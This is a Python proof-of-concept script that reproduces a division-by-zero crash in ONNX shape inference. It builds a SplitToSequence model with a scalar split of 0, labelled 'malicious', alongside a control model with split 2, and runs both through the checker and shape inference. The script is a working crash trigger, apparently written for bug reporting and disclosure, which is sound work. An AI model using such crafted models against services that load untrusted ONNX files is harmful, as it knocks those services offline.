File size: 3,301 Bytes
b7f9678 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | #!/usr/bin/env python3
"""Reproduce ONNX SplitToSequence scalar split=0 shape-inference SIGFPE.
The parent process builds two minimal ONNX models and runs shape inference in
child processes so the crash can be observed without killing the harness.
"""
from __future__ import annotations
import argparse
import subprocess
import sys
from pathlib import Path
import onnx
from onnx import TensorProto, helper
def build_model(split_value: int) -> onnx.ModelProto:
input_info = helper.make_tensor_value_info("input", TensorProto.FLOAT, [6, 4])
output_info = helper.make_tensor_sequence_value_info("output_sequence", TensorProto.FLOAT, None)
split = helper.make_tensor("split", TensorProto.INT32, [], [split_value])
node = helper.make_node(
"SplitToSequence",
["input", "split"],
["output_sequence"],
axis=0,
keepdims=1,
)
graph = helper.make_graph(
[node],
f"split_to_sequence_scalar_{split_value}",
[input_info],
[output_info],
initializer=[split],
)
return helper.make_model(graph, opset_imports=[helper.make_opsetid("", 25)])
def run_child(model_path: Path) -> subprocess.CompletedProcess[str]:
child = f"""
import faulthandler
faulthandler.enable()
import onnx
model = onnx.load({str(model_path)!r})
print("loaded=" + {model_path.name!r}, flush=True)
onnx.checker.check_model(model)
print("checker_passed", flush=True)
onnx.shape_inference.infer_shapes(model, strict_mode=True)
print("shape_inference_returned", flush=True)
"""
return subprocess.run(
[sys.executable, "-c", child],
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
check=False,
)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--out-dir", default=".", help="Directory for generated ONNX files.")
parser.add_argument(
"--direct-crash",
action="store_true",
help="Run the malicious infer_shapes call in this process for gdb/backtrace capture.",
)
args = parser.parse_args()
out_dir = Path(args.out_dir)
out_dir.mkdir(parents=True, exist_ok=True)
if args.direct_crash:
path = out_dir / "malicious_split_0.onnx"
onnx.save(build_model(0), path)
print(f"python={sys.version.split()[0]}", flush=True)
print(f"onnx={onnx.__version__}", flush=True)
print(f"loaded={path.name}", flush=True)
model = onnx.load(path)
onnx.checker.check_model(model)
print("checker_passed", flush=True)
onnx.shape_inference.infer_shapes(model, strict_mode=True)
print("shape_inference_returned", flush=True)
return 0
cases = [
("control_split_2.onnx", 2),
("malicious_split_0.onnx", 0),
]
print(f"python={sys.version.split()[0]}")
print(f"onnx={onnx.__version__}")
for filename, split_value in cases:
path = out_dir / filename
onnx.save(build_model(split_value), path)
print(f"\n== {filename} split={split_value} ==")
result = run_child(path)
print(result.stdout, end="")
print(result.stderr, end="")
print(f"returncode={result.returncode}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
|